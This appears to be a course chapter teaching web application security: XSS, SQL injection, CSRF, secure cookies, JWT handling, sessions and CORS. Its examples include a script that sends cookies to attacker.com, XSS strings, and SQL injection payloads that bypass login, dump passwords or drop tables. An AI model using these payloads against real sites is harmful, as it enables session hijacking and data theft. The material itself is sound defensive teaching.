Chapter 5

Web Application Security

1. Common vulnerabilities: XSS, SQL injection, CSRF
2. Security best practices: Input validation, sanitization, https, secure cookies, env variables
3. Authentication practices and token handling
4. Security in full-stack apps: CORS, safe sessions

Duration: 6 Hours
Marks Distribution: 8 Marks

Web Application Security

Web security is the practice of protecting websites, web apps, APIs, and user data from attacks such as unauthorized access, data theft, or service disruption. Web Security, also known as Cybersecurity for Web Applications, refers to the practice of protecting websites, web applications, and web services from cyber threats, unauthorized access, data breaches, and other malicious attacks. Its main goal is to ensure confidentiality, integrity, and availability (the CIA triad) of web resources and user data.

Key Aspects of Web Application Security

1. **Confidentiality**
   Ensuring that sensitive information (like passwords, personal details, credit card information) is accessible only to authorized users.
   Example: Encrypting data using HTTPS (SSL/TLS) so attackers cannot read it in transit.

2. **Integrity**
   Ensuring that data is not altered or tampered with during storage or transmission.

   Example: Using digital signatures or hash functions to verify data authenticity.

3. **Availability**
   Ensuring that the web services are accessible and functional when needed.
   Example: Implementing protection against Distributed Denial of Service (DDoS) attacks that try to make a website unavailable.

Importance of Web Application Security:

1. Protects Sensitive Data
2. Prevents Financial Loss
3. Maintains User Trust
4. Ensures Service Availability
5. Compliance with Regulations
6. Prevents Reputation Damage
7. Safeguards Against Cyber Attacks
8. Protects Business Continuity

Common vulnerabilities: XSS, SQL injection, CSRF

Some typical threats that web security aims to prevent include:

1. Cross-Site Scripting (XSS)
   Attackers inject malicious scripts into web pages viewed by other users, often stealing cookies or session data.

2. SQL Injection (SQLi)
   Malicious SQL commands are inserted into input fields to manipulate databases and access sensitive data.

3. Cross-Site Request Forgery (CSRF)
   Attackers trick users into executing unwanted actions on a web application where they are authenticated.

4. Broken Authentication & Session Management
   Weak handling of login credentials or session tokens can allow attackers to impersonate users.

5. Insecure Direct Object References (IDOR)
   Users gain access to unauthorized resources by manipulating URLs or IDs.

6. Man-in-the-Middle (MITM) Attacks
   Intercepting communications between the client and server to steal sensitive data.

7. Denial of Service (DoS/DDoS)
   Flooding a web server with excessive requests to make it unavailable.

2.1 Cross-Site Scripting (XSS)
XSS is a vulnerability where an attacker injects malicious JavaScript code into a website, which then runs in other users' browsers. It happens most in server side scripting.
Threats:

a. Steals cookies and session tokens
b. Can hijack user accounts
c. Can modify webpage content
d. Redirect users to fake websites

Types of XSS

XSS attacks are mainly classified into 3 types:

1. Stored XSS (Persistent XSS)

Meaning

In **Stored XSS**, the malicious script is **stored permanently** in the website database/server (example: comment section, post, profile bio).

When other users open that page, the script automatically executes in their browser.

How it happens

- Attacker submits malicious code in a form input
- Website stores it in DB
- Website displays it without sanitizing
- Script runs for every visitor

Example

Attacker comments:

```
<script>fetch("http://attacker.com/cookie?c="+document.cookie)</script>
```

Impact

- Steals cookies/session

- Account takeover
- Website defacement
- Can affect many users (highly dangerous)

Where common

- Blog comments
- Product reviews
- Chat applications
- Social media posts

2. Reflected XSS (Non-Persistent XSS)

Meaning

In **Reflected XSS**, the malicious script is **not stored** in the database.
Instead, it is sent through the **URL or request parameter** and reflected back immediately in the response.

How it happens

- Attacker sends a malicious link to victim
- Victim clicks link
- Server includes input in HTML output without sanitizing
- Script runs in victim browser

Example

Victim clicks URL:

```
https://example.com/search?q=<script>alert(1)</script>
```

If the website prints query directly:

```
Search result for: <script>alert(1)</script>
```

Impact

- Session hijacking
- Phishing
- Redirecting users

Where common

- Search pages
- Login error messages
- URL-based pages

3. DOM-Based XSS

Meaning

In **DOM-based XSS**, the attack happens completely on the **client-side (browser)**.
The server may not even know the attack occurred.

It happens when JavaScript code takes data from the URL or user input and directly inserts it into the page using unsafe methods.

How it happens

- Website JS reads URL input (location.hash, document.URL)
- Inserts it into HTML using innerHTML
- Script executes in browser

Example

Website code:

```
document.getElementById("output").innerHTML = location.hash;
```

Attacker sends link:

```
https://example.com/#<script>alert("XSS")</script>
```

Brower runs it.

Impact

- Steals cookies
- Manipulates web page
- Performs unauthorized actions

Where common

- Single Page Applications (SPA)
- React/Angular apps with unsafe DOM handling

Prevention of XSS

XSS happens when a website accepts user input and displays it on a page without proper filtering/escaping, allowing malicious JavaScript to run in the browser.
So prevention focuses on stopping script execution.

1. Input Validation (First Line of Defense)

Meaning: Input validation means checking whether the input matches the expected format.

Example:

If username should contain only letters and numbers:

- **Allowed: Sunil123**
- **Blocked: <script>alert(1)</script>**

How to prevent

- Limit length of input
- Allow only specific characters (whitelist)
- Reject invalid formats

*** Note: Validation alone is not enough, because attackers can bypass it.*

2. Input Sanitization (Cleaning the Input)

Meaning: Sanitization removes harmful code from input before storing it in the database.

Example

If attacker enters:

<script>alert("XSS")</script>

Sanitization removes <script> tag or converts it.

Where used

- Comment sections
- User bios
- Feedback forms

** *Best practice: sanitize input especially when storing it permanently (Stored XSS).*

3. Output Encoding / Escaping (Most Important Method)

Meaning: Instead of displaying user input directly, convert special characters into safe HTML entities.

Example

User input:

<script>alert(1)</script>

If escaped, browser sees it as text:

<script>alert(1)</script>

Result

The browser will display the script as plain text, not execute it.

Types of encoding

- HTML encoding
- JavaScript encoding
- URL encoding

***This is the most reliable method because XSS happens during output rendering.*

4. Use Safe DOM Methods (Prevent DOM-based XSS)

Problem

Using dangerous methods like:

- innerHTML
- document.write()

Example of unsafe code

```
document.getElementById("msg").innerHTML = userInput;
```

Safe solution

Use textContent:

```
document.getElementById("msg").textContent = userInput;
```

** *textContent treats input as plain text, not HTML.*

5. Content Security Policy (CSP)

Meaning: CSP is a security header that tells the browser: which scripts are allowed and which scripts should be blocked

Example

If an attacker injects script, CSP can block it.

Sample CSP header

```
Content-Security-Policy: script-src 'self';
```

Benefits

- Blocks inline scripts
- Blocks scripts from unknown domains
- Reduces impact of XSS even if it exists

** *CSP is a powerful extra layer of protection.*

6. Avoid Inline JavaScript

Unsafe

```
<button onclick="doSomething()">Click</button>
```

Attackers can inject into such places.

Safe

Use external JS files:

```
<script src="app.js"></script>
```

And add event listeners:

```
button.addEventListener("click", doSomething);
```

7. Use Secure Cookies (HTTPOnly + Secure Flag)

HTTPOnly Cookie prevents JavaScript from reading cookies.

Example:

```
Set-Cookie: token=abcd; HttpOnly
```

So even if attacker injects JS, it cannot do: **`document.cookie`**

Secure Flag

Ensures cookies are sent only through HTTPS:

```
Set-Cookie: token=abcd; Secure
```

***This helps prevent session hijacking.*

8. Use Framework Built-in Protection

Modern frameworks automatically escape output.

Example in React

React escapes user input by default:

```
<p>{userInput}</p>
```

So the script won't execute.

But danger in React

If you use:

```
<div dangerouslySetInnerHTML={{ __html: userInput }} />
```

This can cause XSS.

** *Avoid such unsafe rendering unless properly sanitized.*

9. Use Trusted Sanitizing Libraries

Instead of writing your own sanitization logic, use tested libraries.

Example

- DOMPurify (Frontend)
- sanitize-html (Node.js)

Example:

```
const clean = DOMPurify.sanitize(dirtyInput);
```

** *This prevents hidden payloads like:*

```
<img src=x onerror=alert(1)>
```

10. Proper Authentication & Authorization

XSS is often used to steal session tokens.
So strong authentication reduces damage.

Use:

- Short session expiry
- Refresh tokens securely
- Role-based access control

11. Regular Security Testing

Methods

- Manual testing
- Vulnerability scanners
- Penetration testing

Test payload examples

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
```

** *Helps detect XSS early before deployment.*

2. SQL Injection (SQLi)

SQL Injection (SQLi) is a common web security attack where an attacker inserts malicious SQL code into an input field (like login form, search box, URL parameter) to manipulate the database query. It happens when a web application directly uses user input inside an SQL query without proper validation or parameterization.

Normally, a backend application sends SQL queries to the database like:

```
SELECT * FROM users WHERE username = 'sunil' AND password = '1234';
```

But if the attacker changes the input, they can change the meaning of the query.

Backend code (unsafe)

```
const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
```

If attacker enters:

- username: admin
- password: ' OR '1'='1

Then query becomes:

```
SELECT * FROM users WHERE username = 'admin' AND password =
'' OR '1'='1';
```

Since '1'='1' is always true, the attacker can **login without knowing the password**.

This is called **Authentication Bypass SQL Injection**.

Why SQL Injection is Dangerous

SQL Injection can allow attackers to:

1. Access Sensitive Data

They can read user data like:

- passwords
- emails
- credit card details

Example:

```
SELECT * FROM users;
```

2. Modify Database Data

They can update records:

```
UPDATE users SET role='admin' WHERE username =
'attacker';
```

3. Delete Database Data

They can destroy tables:

```
DROP TABLE users;
```

4. Bypass Authentication

Login without the correct password.

5. Steal Complete Database

Attackers can extract everything from DB.

6. Remote Code Execution (Advanced)

In some DB systems, SQLi can lead to full server compromise.

Types of SQL Injection

1. In-band SQL Injection

Attackers use the same communication channel (web request/response).

a) Error-based SQLi

Attacker forces DB errors to get useful info.

Example input:

```
' OR 1=1 –
```

The server returns an error message showing table names, column names, etc.

* Very common when websites show raw SQL errors.

b) Union-based SQLi

Attacker uses UNION to combine malicious query results with original query.

Example:

```
' UNION SELECT username, password FROM users - -'
```

Now the attacker can see usernames and passwords in the response.

* Dangerous because it directly leaks data.

2. Blind SQL Injection

The website does not show SQL errors or results, but attackers can still extract data by observing website behavior.

a) Boolean-based Blind SQLi

Attacker asks a True/False question.

Example:

```
' AND 1=1 – - `
```

The page works normally.

```
' AND 1=2 – - `
```

Page behaves differently.

Using this, attacker guesses:

- database name
- usernames
- passwords (character by character)

b) Time-based Blind SQLi

Attacker uses database delay functions to confirm condition.

Example:

```
' OR IF(1=1, SLEEP(5), 0) -- `
```

If the page response delays by 5 seconds, it confirms injection success.

* Used when there is no visible output difference.

3. Out-of-band SQL Injection

Attacker makes the database send data to an external server.

Example:

- DB connects to the attacker's DNS server or HTTP server.

* Rare but very powerful.

Prevention of SQL Injection

1. Use Prepared Statements / Parameterized Queries (Most Important)

Instead of directly adding user input into the query, use placeholders.

Example in Node.js MySQL:

```
const query = "SELECT * FROM users WHERE username = ? AND password = ?";

db.query(query, [username, password]);
```

Now user input is treated as **data**, not SQL code.

2. Use ORM Libraries

ORM automatically protects from SQL injection.

Examples:

- Prisma
- Sequelize
- TypeORM

Example in Prisma:

```
const user = await prisma.user.findFirst({
    where: { email: email }
});
```

3. Input Validation

Check inputs before sending them to DB.

Example:

- id should be number only
- username should not contain special SQL symbols

4. Escape User Input (Not Best, but helps)

Escaping converts special characters like ' into safe forms. But escaping alone is not 100% safe, prepared statements are better.

5. Use Least Privilege Principle

Database users should have only required permissions.

Example:

- web app should not have permission to DROP TABLE

So even if SQLi happens, damage is limited.

6. Hide SQL Errors (Important)

Never show raw SQL errors to users.

Instead show:

```
"Something went wrong"
```

Log actual error in server logs.

7. Use Web Application Firewall (WAF)

A WAF can block common SQL injection patterns.

Example:

- Cloudflare WAF
- AWS WAF

8. Regular Security Testing

Test your application using tools like:

- SQLMap
- Burp Suite
- OWASP ZAP

3. Cross-Site Request Forgery (CSRF)

CSRF (Cross-Site Request Forgery) is a web security attack where an attacker **tricks a logged-in user's browser** into sending an **unauthorized request** to a trusted website.

The main problem is:
The website thinks the request is genuine because the **user is already authenticated** (cookies/sessions are automatically sent).

How CSRF Works (Simple Flow)

1. User logs into a trusted website (e.g., bank.com)
2. Browser stores session cookie
3. User visits attacker's website (evil.com)
4. Attacker forces the user's browser to send a request to bank.com
5. Bank.com accepts the request because cookies are valid

Example of CSRF Attack

Suppose a bank has this request:

```
POST /transfer?to=ram&amount=50000
```

Attacker creates a malicious page containing:

```
<img
src="https://bank.com/transfer?to=attacker&amount=5
0000">
```

When the victim visits attacker page:

- browser automatically sends request to bank.com
- cookies/session are included

- money transfer happens without user knowing

Why is CSRF Dangerous?

CSRF can make a user perform actions like:

- Transfer money
- Change password
- Change email
- Delete account
- Purchase items
- Submit forms as victim

It does not steal data directly, but it **misuses the victim's login session**.

Conditions Needed for CSRF Attack

CSRF works mainly when:

- User is logged in (session cookie exists)
- Website uses **cookie-based authentication**
- Website does not verify request authenticity
- Important actions can be triggered easily

CSRF Prevention Methods

1. CSRF Tokens (Most Important)

The server generates a unique random token and sends it with forms.

When a request comes back, the server checks the token.

Example:

```
<input type="hidden" name="csrf_token" value="abc123">
```

If an attacker sends a request without token → request rejected.

2. SameSite Cookies

Browser blocks cookies from being sent in cross-site requests.

Example cookie setting:

```
Set-Cookie: session=xyz; SameSite=Strict
```

3. Use POST Instead of GET for Sensitive Actions

GET requests are easier to exploit.

Example:

- /transfer?amount=5000 (Do not use)
- POST /transfer (Use)

4. Verify Referer / Origin Header

Server checks request origin.

If origin is not your website, reject it.

5. Re-authentication for Critical Actions

For sensitive actions like password change:

- ask password again
- OTP verification

Security Best Practices

1. Input Validation

Meaning: Input validation means checking whether the user input is in the correct format before accepting it.

Why important

Attackers often send harmful input to perform attacks like:

- SQL Injection
- XSS
- Command Injection

Example:

If age must be a number:

- 21 (Correct)
- 21abc (Not Correct)
- <script>alert(1)</script> (Not Correct)

Best Practices

- Use whitelisting (allow only expected values)
- Set input length limits
- Validate type (email, number, date)

Example:

- Email must contain @
- Password must be min 8 chars
- Phone number must be digits only

2. Sanitization

Meaning: Sanitization means cleaning user input by removing dangerous characters or tags.

Why is it important?

Even if validation passes, input might still contain harmful payloads.

Example:

If user submits comment:

```
<script>alert("hacked")</script>
```

Sanitization removes <script> or converts it to safe text.

Used to prevent

- XSS attacks
- HTML injection

Sanitized Output:

<script>alert("hacked")</script>

* Validation checks correctness, sanitization removes danger.

3. HTTPS (SSL/TLS)

Meaning: HTTPS is the secure version of HTTP that encrypts communication between:

- browser (client)
- web server

Why is it important?

Without HTTPS, attackers can read or modify data.

Prevents:

- Man-in-the-middle (MITM) attacks
- Password stealing
- Session hijacking

Example

Without HTTPS:

- Login username/password can be stolen in public WiFi.

With HTTPS:

- Data is encrypted, attackers see only scrambled data.

HTTPS ensures:

- confidentiality (data privacy)
- integrity (data not modified)
- authentication (real server identity)

4. Secure Cookies

Cookies store session information like login tokens.

Why important?

If cookies are stolen, attacker can hijack the user session.

(a) HttpOnly Cookie

Prevents JavaScript from accessing cookies.

Example:

Set-Cookie: token=abc; HttpOnly

* Prevents cookie stealing via XSS.

(b) Secure Cookie

Cookies will only be sent over HTTPS.

Example:

Set-Cookie: token=abc; Secure

* Prevents cookie theft over HTTP.

(c) SameSite Cookie

Stops cookies being sent from other websites.

Example:

Set-Cookie: token=abc; SameSite=Strict

* Prevents CSRF attacks.

Best Cookie Setting

Set-Cookie: session=xyz; HttpOnly; Secure; SameSite=Strict

5. Environment Variables (Env Variables)

Meaning: Environment variables are used to store sensitive configuration data outside the source code.

Examples:

- Database password
- JWT secret key

- API keys
- Email credentials

Why important?

If secrets are written inside code, they may leak through:

- GitHub uploads
- team sharing
- public repositories
- server errors

Example

Bad practice:

const dbPassword = "mypassword123";

Good practice:

const dbPassword = process.env.DB_PASSWORD;

Stored in .env file:

DB_PASSWORD=mypassword123

Best Practices for Env Variables

- Never push .env to GitHub (add in .gitignore)
- Use different env files for development/production
- Rotate keys if leaked
- Keep strong secrets (long random strings)

Example important env variables:

- JWT_SECRET
- DB_URL
- API_KEY
- PORT

Authentication practices and token handling

Authentication means **verifying the identity of a user** (checking if the user is really who they claim to be). Token handling refers to **how login tokens (JWT/session tokens)** are generated, stored, sent, refreshed, and protected.

1. Strong Authentication Practices

a) Secure Password Storage (Very Important)

Never store passwords in plain text.

```
password = "sunil123"    (WRONG)
```

Store hashed passwords using:

- **bcrypt**
- **argon2**

Hashing example:

```
password -> bcrypt hash -> stored in database
```

Even if the database is hacked, real passwords are not visible.

b) Strong Password Policy

Good practice:

- minimum 8–12 characters
- include uppercase, lowercase, numbers, symbols
- prevent common passwords like 123456, password

c) Multi-Factor Authentication (MFA)

MFA adds extra security:

- password + OTP
- password + email verification
- password + authenticator app

Even if the password leaks, the attacker cannot login.

d) Rate Limiting and Brute Force Protection

Attackers try thousands of passwords automatically.

Prevention:

- limit login attempts
- lock account temporarily
- CAPTCHA after multiple failures

Example:

- max 5 attempts per minute

e) Secure Account Recovery

Password reset should be safe:

- use time-limited reset token
- send link to verified email

- expire token quickly (10–15 mins)

Never send a password in email.

2. What is a Token in Authentication?

A **token** is a special string generated by the server after login that proves the user is authenticated.

Example token:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

The client sends this token in every request to access protected routes.

3. Types of Authentication Tokens

a) Session-based Authentication (Cookies)

- server stores session in database/redis
- client stores session id in cookie

Example:

Cookie: sessionId=xyz123

Best for traditional web apps.

b) Token-based Authentication (JWT)

JWT = JSON Web Token

- server generates JWT after login

- client stores it and sends it in headers

Example:

```
Authorization: Bearer <token>
```

Best for APIs and mobile apps.

4. JWT Token Structure

JWT has 3 parts:

1. **Header**
2. **Payload**
3. **Signature**

Example:

```
header.payload.signature
```

Payload contains:

- user id
- email
- role
- expiry time

** Important: JWT payload is **not encrypted**, only encoded.
So never store sensitive data like passwords in JWT.

5. Access Token vs Refresh Token

Access Token

- short life (5–15 minutes)
- used to access protected APIs

Example:

```
GET /profile

Authorization: Bearer accessToken
```

Refresh Token

- long life (7–30 days)
- used to generate new access token when expired

Example flow:

- access token expires
- refresh token generates new access token
- user stays logged in

** This is best practice for modern authentication.

6. Token Handling Best Practices

a) Store Tokens Securely

Avoid storing JWT in localStorage

Because if XSS happens, attacker can steal it:

localStorage.getItem("token")

Best practice: Store token in HttpOnly Cookie

Set-Cookie: accessToken=...; HttpOnly; Secure; SameSite=Strict

This prevents JavaScript access.

b) Always Use HTTPS

Tokens can be stolen easily in HTTP.

HTTPS ensures:

- token is encrypted during transfer
- prevents MITM attacks

c) Set Token Expiration (Expiry)

Never create tokens that never expire.

Example:

- Access token: 10 minutes
- Refresh token: 7 days

This reduces risk if a token is stolen.

d) Use Strong Secret Key for JWT Signing

JWT is signed using secret like:

JWT_SECRET=very_long_random_secret_key

If the secret is weak, the attacker can forge tokens.

e) Token Rotation (Refresh Token Rotation)

Each time refresh token is used:

- issue a new refresh token
- invalidate old one

This prevents replay attacks.

f) Logout Must Invalidate Token

Logout should:

- delete cookie
- blacklist refresh token (store in DB)

Otherwise the attacker can reuse stolen refresh token.

g) Do Not Store Sensitive Data in Token

JWT payload should contain only:

- userId
- role
- expiry time

Never store:

- password
- OTP
- credit card

Because payload can be decoded easily.

h) Use Proper Authorization Checks

Authentication checks identity, but authorization checks permission.

Example:

- User is logged in
- But cannot access admin routes unless role=admin

So always check:

- roles
- permissions

7. Token Attacks and Protection

a) Token Theft (XSS)

If a token is stored in localStorage, an attacker can steal it.

Solution:

- HttpOnly cookies
- CSP headers
- sanitize input

b) Token Replay Attack

Attacker uses stolen token again.

Solution:

- short expiry
- refresh token rotation
- token blacklist

c) CSRF Attack (cookie-based auth)

Cookies automatically sent → attackers can trick browsers.

Solution:

- SameSite cookie
- CSRF token

8. Recommended Secure Authentication Flow (Modern Standard)

Best flow:

1. User logs in with username/password
2. Server verifies password using bcrypt
3. Server sends:
    - access token (short expiry)
    - refresh token (long expiry)
4. Store both in **HttpOnly secure cookies**
5. Every API request uses access token
6. When access token expires:
    - refresh token generates new access token
7. On logout:
    - delete cookies
    - invalidate refresh token

Security in full-stack apps: CORS, safe sessions

Full-stack web applications involve both **frontend** and **backend**, so security must cover both sides. Two critical aspects are **CORS** and **session management**.

1. CORS (Cross-Origin Resource Sharing)

Meaning: CORS is a **browser security feature** that controls which **external domains** are allowed to make requests to your server. By default, **browsers block cross-origin requests** (requests from a different domain/port/protocol) to prevent malicious sites from accessing your API.

How CORS Works

- Frontend sends a request (e.g., fetch) to backend
- Browser checks if the backend allows this origin in **CORS headers**
- If allowed → request succeeds
- If not allowed → browser blocks request

Example

Frontend: https://frontend.com
Backend: https://api.backend.com

Backend must include headers like:

Access-Control-Allow-Origin: https://frontend.com

Access-Control-Allow-Methods: GET, POST, PUT

Access-Control-Allow-Headers: Content-Type, Authorization

Without this, browser shows:

Access to fetch at 'https://api.backend.com/data' from origin 'https://frontend.com' has been blocked by CORS policy

Common CORS Mistakes

- Allowing all origins (*) for sensitive APIs → risky
- Not specifying allowed methods → attackers can try unwanted actions
- Exposing sensitive headers (like Authorization) without precautions

Best Practices

- Only allow **trusted frontend domains**
- Specify allowed HTTP methods
- Limit exposed headers

Use credentials safely:
Access-Control-Allow-Credentials: true

- Never use * for sensitive endpoints with cookies/authorization

2. Safe Session Management

Sessions are used to **keep users logged in**. Poor session management can lead to account takeover.

How Sessions Work

- User logs in → server creates **session id**
- Browser stores session id (usually in **cookie**)
- Every request includes session id → server identifies user

Risks with Unsafe Sessions

- **Session hijacking**: attacker steals session cookie → logs in as user
- **Session fixation**: attacker sets a fixed session id for user → takes control
- **No expiry**: sessions never expire → stolen session is valid indefinitely

Safe Session Practices

1. **Use HttpOnly Cookies**
    - Prevents JavaScript from reading session token
    - Set-Cookie: sessionId=xyz; HttpOnly; Secure; SameSite=Strict
2. **Use Secure Cookie**
    - Only sent over HTTPS
      Prevents network sniffing
3. **SameSite Cookie**
    - Blocks sending cookies from other domains → protects against CSRF
4. **Regenerate Session ID**
    - On login and privilege escalation → prevents session fixation
5. **Set Session Expiry**
    - Inactive users → session expires automatically
    - Typical expiry: 15–30 minutes for sensitive apps

6. **Store Sessions Securely**
    - Use server-side storage (Redis, DB)
    - Never store sensitive data in cookie directly

7. **Logout Should Destroy Session**
    - Clear cookie and invalidate server session

Example (Express.js session setup)

```
app.use(session({
        secret: process.env.SESSION_SECRET,
        resave: false,
        saveUninitialized: false,
        cookie: {
                httpOnly: true,
                secure: true,        // only HTTPS
                sameSite: 'strict',
                maxAge: 30*60*1000  // 30 minutes
        }
}));
```